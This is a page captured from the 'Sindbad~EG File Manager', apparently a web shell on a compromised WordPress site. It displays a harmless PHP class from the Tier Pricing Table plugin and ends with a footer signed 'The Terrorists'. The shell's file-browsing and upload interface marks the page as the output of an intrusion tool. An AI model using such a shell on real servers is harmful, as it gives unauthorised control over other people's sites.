Sindbad~EG File Manager

Current Path : /home/nicedoo/www/wp-content/plugins/tier-pricing-table/src/Addons/
Upload File :
Current File : /home/nicedoo/www/wp-content/plugins/tier-pricing-table/src/Addons/AbstractAddon.php

<?php namespace TierPricingTable\Addons;

use TierPricingTable\Core\ServiceContainerTrait;
use TierPricingTable\Settings\CustomOptions\TPTSwitchOption;
use TierPricingTable\Settings\Settings;

abstract class AbstractAddon {
	
	use ServiceContainerTrait;
	
	public function __construct() {
		add_filter( 'tiered_pricing_table/settings/advanced_settings', array(
			$this,
			'addToAddonsSettings',
		) );
	}
	
	public function addToAddonsSettings( $addons ) {
		$addons[] = array(
			'title'   => $this->getName(),
			'id'      => Settings::SETTINGS_PREFIX . '_addon_' . $this->getSlug(),
			'default' => $this->isActiveByDefault() ? 'yes' : 'no',
			'desc'    => $this->getDescription(),
			'type'    => TPTSwitchOption::FIELD_TYPE,
		);
		
		return $addons;
	}
	
	public function isEnabled(): bool {
		
		$settings = $this->getContainer()->getSettings();
		$addonKey = '_addon_' . $this->getSlug();
		
		return $settings->get( $addonKey, $this->isActiveByDefault() ? 'yes' : 'no' ) === 'yes';
	}
	
	protected function isActiveByDefault(): bool {
		return true;
	}
	
	abstract public function getName();
	
	abstract public function getDescription();
	
	abstract public function getSlug();
	
	abstract public function run();
}

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists